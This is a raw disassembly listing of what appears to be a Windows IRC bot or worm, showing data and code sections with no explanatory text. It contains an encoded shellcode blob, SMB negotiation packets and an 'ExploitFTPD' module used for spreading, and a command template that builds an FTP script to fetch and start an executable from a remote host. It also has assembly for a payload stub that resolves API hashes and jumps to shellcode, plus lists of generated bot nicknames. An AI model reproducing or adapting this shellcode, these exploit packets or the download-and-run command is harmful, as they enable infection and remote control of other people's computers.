		db    8
		db 3, 53h, 65h
aTenvironment_0	db 'tEnvironmentVariableA',0
		align 4
		dd 3ABh	dup(0)
dword_432000	dd 0				dd offset loc_40321E
		dd offset loc_41203F
		dd offset loc_4127D3
		dd offset loc_41381B
		dd offset loc_421DC5
dword_432018	dd 0		dword_43201C	dd 0				dd offset sub_42322C
		dd offset sub_424780
		dd offset sub_42AD36
		dd offset sub_429B89
dword_432030	dd 0		dword_432034	dd 0				dd offset sub_424828
dword_43203C	dd 0		dword_432040	dd 0				dd offset sub_429B9A
dword_432048	dd 2 dup(0)	dword_432050	dd 64h,	5 dup(0)		db 0
dword_432069	dd 4344h						; sub_40B63F+175r ...
		align 10h
		dd 6 dup(0)
dword_432088	dd 87h							; sub_403B2C+4315r ...
off_43208C	dd offset sub_40B63F	; DATA XREF: sub_401906+13Ar
dword_432090	dd 0		dword_432094	dd 1				dd 3264h, 5 dup(0)
		dd 32434400h, 7	dup(0)
		dd 87h,	40B7DCh, 0
		dd 1, 6Ch, 5 dup(0)
		dd 41534C00h, 5353h, 6 dup(0)
		dd 1BDh, 411E8Fh, 0
		dd 1, 3161h, 5 dup(0)
		dd 4E534100h, 31h, 6 dup(0)
		dd 1BDh, 403088h, 0
		dd 1, 3261h, 5 dup(0)
		dd 4E534100h, 32h, 6 dup(0)
		dd 8Bh,	403088h, 0
		dd 1, 626Eh, 5 dup(0)
		dd offset loc_424DFF+1
		dd 7 dup(0)
		dd 8Bh,	413642h, 2 dup(0)
		dd 70626Eh, 5 dup(0)
		dd 50424E00h, 455049h, 6 dup(0)
		dd 401h, 413642h, 2 dup(0)
		dd 316B77h, 5 dup(0)
		dd 4F4B5700h, 31h, 6 dup(0)
		dd 87h,	421B99h, 0
		dd 1, 326B77h, 5 dup(0)
		dd 4F4B5700h, 32h, 6 dup(0)
		dd 1BDh, 421B99h, 0
		dd 1, 336B77h, 5 dup(0)
		dd 454B5700h, 31h, 6 dup(0)
		dd 87h,	421ADFh, 0
		dd 1, 346B77h, 5 dup(0)
		dd 454B5700h, 32h, 6 dup(0)
		dd 1BDh, 421ADFh, 0
		dd 1, 656Eh, 5 dup(0)
		dd offset dword_454E00
		dd 7 dup(0)
		dd 8Bh,	412E64h, 0
		dd 1, 32656Eh, 5 dup(0)
		dd 32454E00h, 7	dup(0)
		dd 1BDh, 412E64h, 0
		dd 1, 33656Eh, 5 dup(0)
		dd 33454E00h, 7	dup(0)
		dd 87h,	412E64h, 0
		dd 1, 76h, 5 dup(0)
		dd 434E5600h, 7	dup(0)
		dd 170Ch, 42089Ch, 0
		dd 1, 6276h, 5 dup(0)
		dd 434E5600h, 42h, 6 dup(0)
		dd 170Ch, 421415h, 0
		dd 1, 31706Eh, 5 dup(0)
		dd 31504E00h, 7	dup(0)
		dd 87h,	414046h, 0
		dd 1, 32706Eh, 5 dup(0)
		dd 32504E00h, 7	dup(0)
		dd 8Bh,	414046h, 0
		dd 1, 33706Eh, 5 dup(0)
		dd 33504E00h, 7	dup(0)
		dd 1BDh, 414046h, 0
		dd 1, 12h dup(0)
dword_4325F0	dd 31706Eh, 5 dup(0)		dd 626E0100h, 5	dup(0)
		dd 1000000h, 64h, 5 dup(0)
		dd 32640100h, 5	dup(0)
		dd 1000000h
dword_432658	dd 64h,	5 dup(0)		dd 706E0100h, 33h, 4 dup(0)
		dd 1000000h, 656Eh, 5 dup(0)
		dd offset dword_610100
		dd 5 dup(0)
		dd 1000000h
dword_4326C0	dd 31706Eh, 5 dup(0)		dd 656E0100h, 33h, 4 dup(0)
		dd 1000000h, 3264h, 5 dup(0)
		dd 100h
dword_432710	dd 32656Eh, 5 dup(0)		dd 706E0100h, 32h, 4 dup(0)
		dd 1000000h, 64h, 5 dup(0)
		dd 100h
dword_432760	dd 76h,	5 dup(0)		dd 62760100h, 5	dup(0)
		dd 1000000h, 70626Eh, 5	dup(0)
		dd 100h
dword_4327B0	dd 33706Eh, 5 dup(0)		dd 656E0100h, 5	dup(0)
		dd 1000000h, 626Eh, 5 dup(0)
		dd 100h
dword_432800	dd 3264h, 5 dup(0)		dd 640100h, 5 dup(0)
		dd 1000000h, 31706Eh, 5	dup(0)
		dd 6B770100h, 33h, 4 dup(0)
		dd 1000000h
dword_432868	dd 64h,	5 dup(0)		dd 32640100h, 5	dup(0)
		dd 1000000h, 6Ch, 5 dup(0)
		dd 100h
dword_4328B8	dd 64h,	5 dup(0)		dd 31610100h, 5	dup(0)
		dd 1000000h, 3261h, 5 dup(0)
		dd 100h
dword_432908	dd 626Eh, 5 dup(0)		dd 626E0100h, 70h, 4 dup(0)
		dd 1000000h, 32706Eh, 5	dup(0)
		dd 100h
dword_432958	dd 4		dword_43295C	dd 4		dword_432960	dd 3		dword_432964	dd 3		dword_432968	dd 3		dword_43296C	dd 3		dword_432970	dd 4		dword_432974	dd 3		dword_432978	dd 3		dword_43297C	dd 3		dword_432980	dd 0E983C931h, 0FFFFE8B0h, 5EC0FFFFh, 410E7681h, 839088B7h
					; DATA XREF: .text:004030CBo
					; sub_40B427+4Bo ...
		dd 0F4E2FCEEh, 0DD63DDBDh, 6F774EA9h, 0FC03D7BEh, 0D5039365h
		dd 95F43C7Dh, 1B67B639h, 0CF03AF0Eh, 0D963B661h, 910383CAh
		dd 94886AFh, 0E44833EDh, 9D427646h, 64637540h, 0B8ACE37Ah
		dd 0CF035234h, 0F663B665h, 1BC3BBCAh, 7B89AB1Eh, 19039B42h
		dd 0F194932Dh, 0F4538682h, 1BB8F4CAh, 0E003BB01h, 0D0031A5Dh
		dd 1EE0E949h, 0C064B90Fh, 0C3EE61BEh, 0A2BBDF27h, 0A2FBC029h
		dd 4077E31Eh, 6C657C29h, 4677E77Ah, 0F66D3E1Eh,	92805AC0h
		dd 6F8ADD14h, 9951DF91h, 6FDF1AB4h, 0C3DBE497h,	0C3CBE412h
		dd 4077E402h, 658BDF27h, 7101E427h, 8A2CDFD4h, 6FDF7031h
		dd 0C198DD97h, 0F8584814h, 79A61AE5h, 0C35E4816h, 0F8584814h
		dd 0D90EFEA4h, 0C05E4816h, 6FDDE315h, 77E02491h, 0C7F17138h
		dd 6FDD61BEh, 0F4E2D191h, 0FDEBDF27h, 0C0E252C8h, 19449E18h
		dd 19CCDDA6h, 634886A3h, 0BDCA49EBh, 3A4F5BFh, 3BB0CDCCh
		dd 0E2E01CEAh, 6F9E04BFh, 4677F334h, 0C1DAE01Ah, 91E2E610h
		dd 0C1DDE610h, 3DE067BEh, 0C346B298h, 6FE261BEh, 407780BEh
		dd 1374E0CAh, 4677D385h, 0F8584813h, 0F06879AEh, 6F5E4812h
		dd 9088B791h, 0
		dd 159h
dword_432AE0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432B2C	dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_432B48	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_401AB3+13Fo
dword_432B5C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_401AB3+168o
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 2 dup(0)
		dd 44000081h, 464B4320h, 454E4544h, 45444643h, 46434646h
		dd 46464547h, 43414343h, 2 dup(43414341h), 45200041h, 4644454Bh
		dd 45494545h, 43414344h, 4 dup(43414341h), 414141h, 0
		dd 2F000000h, 424D53FFh, 72h, 4	dup(0)
		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h, 48000000h, 424D53FFh
		dd 73h,	4 dup(0)
		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	6E000000h, 79700074h, 626D73h
		dd 0
aEftpdDTotalDIn	db ' (EFTPD): (%d), Total -> (%d in %s)',0 ; DATA XREF: start+9Ao
aSD		db ' (%s: %d),',0       ; DATA XREF: start+4Co
		align 4
aSStats		db '%s (Stats):',0      ; DATA XREF: start+1Ao
aCCCCCC		db '%c%c%c%c%c%c',0     ; DATA XREF: sub_4010E7+66o
		align 4
aS_4		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401160+153o
					; sub_41015C+58o ...
		align 10h
aEchoOpenSDIEch	db 'echo open %s %d > i &echo user %s %s >> i &echo get %s >> i &echo'
					; DATA XREF: sub_401160+114o
		db ' quit >> i &ftp -n -s:i &start %s',0Dh,0Ah,0
		align 4
aSDDDDD_exe	db '%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_401160+C3o
					; sub_4130E5+253o ...
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_401311+DEo
					; sub_402190+39Fo
a0:					; DATA XREF: sub_401311+7Co
					; sub_401311+A8o ...
		unicode	0, <0>,0
asc_432D3C:				; DATA XREF: sub_401311+77o
					; sub_401311+A3o ...
		unicode	0, <x>,0
a__0:					; DATA XREF: sub_401311+30o
					; sub_4128D4+13o ...
		unicode	0, <.>,0
aSInactive	db '%s Inactive',0      ; DATA XREF: sub_401408+51o
aSCipS		db '%s (CIP): %s',0     ; DATA XREF: sub_401408+2Ao
		align 10h
aSStartedPortIF	db '%s Started,Port: (%i), File: (%s)',0 ; DATA XREF: sub_401477+E1o
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4015FC+3Co
aSSDScanthreadD	db '%s (%s:%d), ScanThread: (%d), SubThread: (%d)',0
					; DATA XREF: sub_40178D+B8o
		align 10h
aZwopensection	db 'ZwOpenSection',0    ; DATA XREF: sub_401C4A+23o
		align 10h
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_401C4A+1Bo
		align 4
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_401C4Ao
		align 4
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_401CB1+5Do
		align 4
off_432E04	dd offset aSystray_exe	; DATA XREF: sub_401D57+47o
					; "systray.exe"
aEvicePhysicalm:
		unicode	0, <evice\PhysicalMemory>,0
		align 4
aSesecuritypriv	db 'SeSecurityPrivilege',0 ; DATA XREF: sub_40203F:loc_4020E5o
a503		db '503',0Dh,0Ah,0      ; DATA XREF: sub_402190:loc_40269Do
		align 10h
a221		db '221',0Dh,0Ah,0      ; DATA XREF: sub_402190+4F2o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_402190+4E0o
		align 10h
a425		db '425',0Dh,0Ah,0      ; DATA XREF: sub_402190:loc_40264Eo
		align 4
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_402190+48Eo
		align 4
a226		db '226',0Dh,0Ah,0      ; DATA XREF: sub_402190+448o
		align 4
a150		db '150',0Dh,0Ah,0      ; DATA XREF: sub_402190+3E7o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_402190+3D2o
		align 4
a200		db '200',0Dh,0Ah,0      ; DATA XREF: sub_402190+3AAo
		align 4
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_402190+369o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402190+32Bo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_402190+2F2o
		align 4
a230		db '230',0Dh,0Ah,0      ; DATA XREF: sub_402190+2CDo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_402190+2BCo
		align 4
a331		db '331',0Dh,0Ah,0      ; DATA XREF: sub_402190+297o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_402190+285o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_402190+274o
					; sub_403B2C+2CF5o ...
		align 4
a220		db '220',0Dh,0Ah,0      ; DATA XREF: sub_402190:loc_40236Ao
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_40274D+2Bo
		align 10h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40281E+9Co
					; sub_41C090+6Fo
		align 4
aSSDThreadSStop	db '%s %s (%d thread(s) stopped).',0 ; DATA XREF: sub_40281E+78o
					; sub_41C090+30o
		align 4
aExploitftpd	db 'ExploitFTPD',0      ; DATA XREF: sub_40281E+6Eo
					; sub_40281E+92o
		align 8
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_402B3C+B2o
		align 4
dword_432F54	dd 10FF8h, 0	dword_432F5C	dd 10FF8h	dword_432F60	dd 7FFDF020h, 0	dword_432F68	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432FF0	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_433020	dd 0				dd 800000D4h, 2	dup(0)
unk_433030	db  81h	; 		; DATA XREF: sub_403036+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_433080	proc near		; DATA XREF: .text:004030EAo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43317C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_433192
		mov	[esi+8], eax
		call	sub_433145
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_433192
		mov	[esi+0Ch], eax
		call	sub_4330F7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_433192
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_433080	endp


; =============== S U B	R O U T	I N E =======================================



sub_4330F7	proc near		; CODE XREF: sub_433080+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_433120
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4330F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_433120	proc near		; CODE XREF: sub_4330F7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43312F:				; CODE XREF: sub_433120+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43313C
		inc	ebx
		jmp	short loc_43312F
; ---------------------------------------------------------------------------


loc_43313C:				; CODE XREF: sub_433120+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_433120	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_433145	proc near		; CODE XREF: sub_433080+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43315D:				; CODE XREF: sub_433145+1Ej
		cmp	[ecx], ebx
		jz	short loc_433165
		mov	ecx, [ecx]
		jmp	short loc_43315D
; ---------------------------------------------------------------------------


loc_433165:				; CODE XREF: sub_433145+1Aj
		mov	edx, edi


loc_433167:				; CODE XREF: sub_433145+2Aj
		cmp	[edx+4], ebx
		jz	short loc_433171
		mov	edx, [edx+4]
		jmp	short loc_433167
; ---------------------------------------------------------------------------


loc_433171:				; CODE XREF: sub_433145+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_433145	endp


; =============== S U B	R O U T	I N E =======================================



sub_43317C	proc near		; CODE XREF: sub_433080+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43317C	endp


; =============== S U B	R O U T	I N E =======================================



sub_433192	proc near		; CODE XREF: sub_433080+16p
					; sub_433080+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4331A8:				; CODE XREF: sub_433192+33j
		jecxz	short loc_4331E2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4331B5:				; CODE XREF: sub_433192+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4331C1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4331B5
; ---------------------------------------------------------------------------


loc_4331C1:				; CODE XREF: sub_433192+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4331A8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4331E2:				; CODE XREF: sub_433192:loc_4331A8j
					; sub_433192:loc_4331E2j
		jmp	short loc_4331E2
sub_433192	endp

; ---------------------------------------------------------------------------
		align 8
dword_4331E8	dd 0F254C481h, 0FFFFhdword_4331F0	dd 23h		dword_4331F4	dd 60h		dword_4331F8	dd 62B0606h, 2050501h, 0A0hdword_433204	dd 0A1h		dword_433208	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_402B3C+153o
		align 4


loc_433214:				; DATA XREF: sub_402B3C+E8o
		jmp	short near ptr dword_43321C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43321C	dd 0		aSSSExD		db '%s %s -> %s (Ex: %d)',0 ; DATA XREF: .text:00403203o
					; sub_40B63F+182o ...
		align 4
off_433238	dd offset dword_433F38	; DATA XREF: sub_403625+69r
		dd offset dword_433F34
		dd offset dword_433F30
		dd offset word_433F2C
		dd offset dword_433F28
		dd offset dword_433F24
		dd offset dword_433F20
		dd offset dword_433F1C
		dd offset dword_433F18
		dd offset dword_433F14
		dd offset dword_433F10
		dd offset dword_433F0C
		dd offset dword_433F08
		dd offset dword_433F04
		dd offset dword_433F00
		dd offset dword_433EFC
		dd offset dword_433EF8
		dd offset dword_433EF4
		dd offset dword_433EF0
		dd offset asc_432D3C	; "x"
		dd offset word_433EEC
		dd offset aV_0		; "v"
		dd offset aB_0		; "b"
		dd offset aN_0		; "n"
		dd offset aM_2		; "m"
		dd offset aQ_0		; "Q"
		dd offset aW		; "W"
		dd offset aE_0		; "E"
		dd offset aR		; "R"
		dd offset aT		; "T"
		dd offset aY		; "Y"
		dd offset aU_0		; "U"
		dd offset aI_0		; "I"
		dd offset aO_0		; "O"
		dd offset aP_3		; "P"
		dd offset aA_1		; "A"
		dd offset aS_5		; "S"
		dd offset aD		; "D"
		dd offset aF		; "F"
		dd offset aG		; "G"
		dd offset asc_433E9C	; "H"
		dd offset aJ		; "J"
		dd offset aK_0		; "K"
		dd offset asc_433E90	; "L"
		dd offset aZ_3		; "Z"
		dd offset asc_433E88	; "X"
		dd offset aC		; "C"
		dd offset aV		; "V"
		dd offset aB		; "B"
		dd offset aN		; "N"
		dd offset aM_1		; "M"
		dd offset aSm4rt3	; "SM4RT3"
		dd offset aFar0oq	; "far0oq"
		dd offset aMax1xguy	; "max1xguy"
		dd offset aB0bm4rl3y	; "B0BM4RL3Y"
		dd offset aEmilya	; "emilya"
		dd offset aEmilyia	; "Emilyia"
		dd offset aKr1zha	; "KR1ZHA"
		dd offset aC4r1nna	; "C4r1nna"
		dd offset aSw1n		; "sw1n"
		dd offset aM4le		; "m4le"
		dd offset aKok00	; "kok00"
		dd offset aFl3xxxt3r	; "fl3xxxt3r"
		dd offset aK3nnn	; "k3nnn"
		dd offset aXc4libr3	; "xc4libr3"
		dd offset aXtcXcal	; "xTc-xCaL"
		dd offset aPwntuuuu	; "pwntuuuu"
		dd offset aShezzza	; "Shezzza"
		dd offset aTalika	; "Talika"
		dd offset aM4rcy	; "m4rcy"
		dd offset aSeiny	; "seiny"
		dd offset aSe1nf3ld	; "se1nf3ld"
		dd offset aCmecme	; "cmecme"
		dd offset aHev4l	; "hev4l"
		dd offset aBunty007	; "bunty007"
		dd offset aJann0	; "jann0"
		dd offset aR1mpy	; "r1mpy"
		dd offset aH4xdd	; "h4xdd-"
		dd offset aNastsha	; "nastsha"
		dd offset aLisau	; "Lisau"
		dd offset aTr0ll3r	; "tr0ll3r"
		dd offset aM4n4e	; "m4n4e"
		dd offset aK3rm1t	; "k3rm1t"
		dd offset aPur3g0ld	; "pur3g0ld"
		dd offset aC0redumpdd	; "C0reDumpDd"
		dd offset aIiimra	; "iiimra"
		dd offset aGirlzx	; "GirLzx"
		dd offset aCam3l	; "CAM3L-"
		dd offset aReshma	; "reshma"
		dd offset aK3ncing	; "K3ncing"
		dd offset aR45h3r	; "R45H3R"
		dd offset aC4nsuu	; "c4nsuu"
		dd offset aKandent	; "kandent"
		dd offset aErk4nerkali	; "erk4nerkali"
		dd offset aHexa4a	; "hexa4a"
		dd offset aBerkkkko	; "berkkkko"
		dd offset aBenibi	; "BeNiBi"
		dd offset aIrm4ll	; "irm4Ll"
		dd offset aMizsund4y	; "mizsund4y"
		dd offset aTolga38	; "Tolga38"
		dd offset aJer1cho	; "JER1CHO"
		dd offset aM4ry		; "M4RY-"
		dd offset aAk1n		; "AK1N"
		dd offset aMel3kk	; "mel3kk"
		dd offset aTrr3nd	; "trr3nd"
		dd offset aMERV		; "M-E-R-V"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSud3nur	; "SUD3NUR"
		dd offset aR0t0r	; "r0t0r-"
		dd offset aR0t0		; "r0t0"
		dd offset aSmokeySn	; "smokey-sn"
		dd offset aSmok3yS	; "smok3y-s"
		dd offset aR0t0r	; "r0t0r-"
		dd offset aRyann	; "ryann"
		dd offset aNils		; "Nils-"
		dd offset aDog		; "dog-"
		dd offset aD_		; "d_"
		dd offset a_d		; "_d"
		dd offset aBl0ndu	; "Bl0ndu"
		dd offset aAkw1dz	; "AKW1Dz"
		dd offset aRot0r	; "rot0r"
		dd offset aBlondu	; "Blondu-"
		dd offset aXc4l		; "XC4L"
		dd offset aXtczzz	; "xTczzz"
		dd offset aDczz		; "dczz"
		dd offset aAhm3txtc	; "Ahm3tXTC"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiram1t	; "PIRAM1T"
		dd offset aSamy3li	; "samy3li"
		dd offset aRetg		; "RETG-"
		dd offset aBlackp34rl	; "blackp34rl"
		dd offset aPelinci	; "pelinci"
		dd offset aAhm3t	; "ahm3t"
		dd offset aTurkyballs	; "turkyballs"
		dd offset aAnk32m	; "ank32m"
		dd offset aAck0111	; "ACK0111"
		dd offset aIzm1rm	; "Izm1rm"
		dd offset aAlb1na	; "alb1na"
		dd offset aAyla		; "AYLA-"
		dd offset aAte3e	; "AtE3e"
		dd offset aAnkh4h	; "ankh4h"
		dd offset aDonju4nm	; "Donju4nm"
		dd offset aBog4c3r	; "bog4c3r"
		dd offset aAlpay3m	; "alpay3m"
		dd offset aCongu	; "CoNGU"
		dd offset aDzlim	; "DzliM"
		dd offset aDevran	; "DeVran"
		dd offset aArd4k	; "ard4k"
		dd offset aKeyifli	; "keyifli"
		dd offset aMuratm_	; "muratm_"
		dd offset aHak4n3	; "hak4n3"
		dd offset aIrz4l	; "IRZ4L"
		dd offset aAmth4n	; "AMTH4N"
		dd offset aEmr3e	; "Emr3e"
		dd offset aElm4zyok	; "elm4zyok"
		dd offset aEsm3rkiz	; "Esm3rkiz"
		dd offset aKeb1kec	; "keb1kec"
		dd offset aFl0rd	; "FL0RD"
		dd offset aH0ly1	; "h0ly1"
		dd offset aMahinure	; "MAHINURE"
		dd offset aEllesme	; "Ellesme"
		dd offset aAkut1	; "akut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aS3vis	; "S3ViS"
		dd offset aSugaboi	; "SUGABOi"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAd4lim	; "AD4LIM"
		dd offset aUmut00	; "umut00"
		dd offset aAnk32	; "ANK32"
		dd offset aDjmace	; "DJMACE"
		dd offset aAnkart	; "Ankart"
		dd offset aF3n3r	; "F3N3R"
		dd offset aH4yr4n	; "h4yr4n"
		dd offset aAng3lg4l	; "ang3lg4l"
		dd offset aK4pk		; "k4pk"
		dd offset aAchill3s	; "Achill3s"
		dd offset aT3gm3n	; "T3GM3N"
		dd offset aKot4n	; "kot4n"
		dd offset aSevdan	; "sevdan"
		dd offset aErkaaaa	; "ERKAAAA"
		dd offset aAlcatrazak	; "alcatraZAK"
		dd offset aA44mmm	; "a44mmm"
		dd offset aB1rs3n	; "b1rs3n"
		dd offset aYab4nc	; "yab4nc"
		dd offset aD3vre	; "d3vre"
		dd offset aErk3nnn	; "erk3nnn"
		dd offset aAnkm4a	; "ankM4a"
		dd offset aAd3m28	; "Ad3m28"
		dd offset aMaxs1lla	; "maxs1lla"
		dd offset aM41st	; "M41ST"
		dd offset aAd33		; "Ad33"
		dd offset aFirt		; "firt"
		dd offset aAta29111	; "Ata29111"
		dd offset aK00oray	; "K00ORAY"
		dd offset aAkd3nnan	; "akd3nnan"
		dd offset aLizmirlm	; "Lizmirlm"
		dd offset aUlaru	; "ularu"
		dd offset aNe__		; "NE__"
		dd offset aPassenger	; "passenger"
		dd offset aTr0pikal	; "tr0pikal"
		dd offset aC00l30m	; "c00l30m"
		dd offset aC3m39	; "c3m39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN``"
		dd offset aDallas	; "DALLAS"
		dd offset aProm3theus	; "prom3theus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdammo	; "ADAMMO"
		dd offset aCumhur	; "cumhur"
		dd offset aBiatch	; "biatch"
		dd offset aW4nt3d	; "W4NT3D"
		align 10h
off_4335A0	dd offset aSh3x		; DATA XREF: sub_403625+4Er
					; sub_403625+F8r
					; "sh3x"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuf		; "|luf|"
		dd offset aWikd		; "|wikd"
		dd offset aSi		; "si}}"
		dd offset aQ809		; "Q809"
		dd offset aDd8A		; "|dd8|a"
		dd offset aB_0		; "b"
		dd offset word_433EEC
		dd offset dword_433F0C
		dd offset dword_433F30
		dd offset dword_433F08
		dd offset dword_433F04
		dd offset dword_433F00
		dd offset dword_433F1C
		dd offset a__4		; "_"
		dd offset dword_433EFC
		dd offset dword_433EF8
		dd offset dword_433EF4
		dd offset aM_2		; "m"
		dd offset aN_0		; "n"
		dd offset aO		; "o"
		dd offset dword_433F18
		dd offset dword_433F38
		dd offset aRs		; "rs"
		dd offset dword_433F28
		dd offset dword_433F20
		dd offset aV_0		; "v"
		dd offset dword_433F34
		dd offset asc_432D3C	; "x"
		dd offset dword_433F24
		dd offset dword_433EF0
		dd offset aHay		; "hay"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aDf		; "df"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTry		; "try"
		dd offset aTrick	; "trick"
		dd offset off_4337F8
		dd offset dword_433EF0
		dd offset dword_433F04
		dd offset dword_433F10
		dd offset dword_433F38
		dd offset off_4337F4
		dd offset dword_4337EC
		dd offset dword_4337E4
		dd offset dword_4337DC
		dd offset off_4337D8
		dd offset aF		; "F"
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aAa		; "^AA^"
		dd offset aB_0		; "b"
		dd offset byte_44D6A4
		dd offset aSl33pin	; "Sl33piN"
		dd offset byte_44D6A4
		dd offset byte_44D6A4
		dd offset aFook		; "|Fook|"
		dd offset aFree		; "Free"
		dd offset byte_44D6A4
		dd offset byte_44D6A4
		dd offset asc_433E88	; "X"
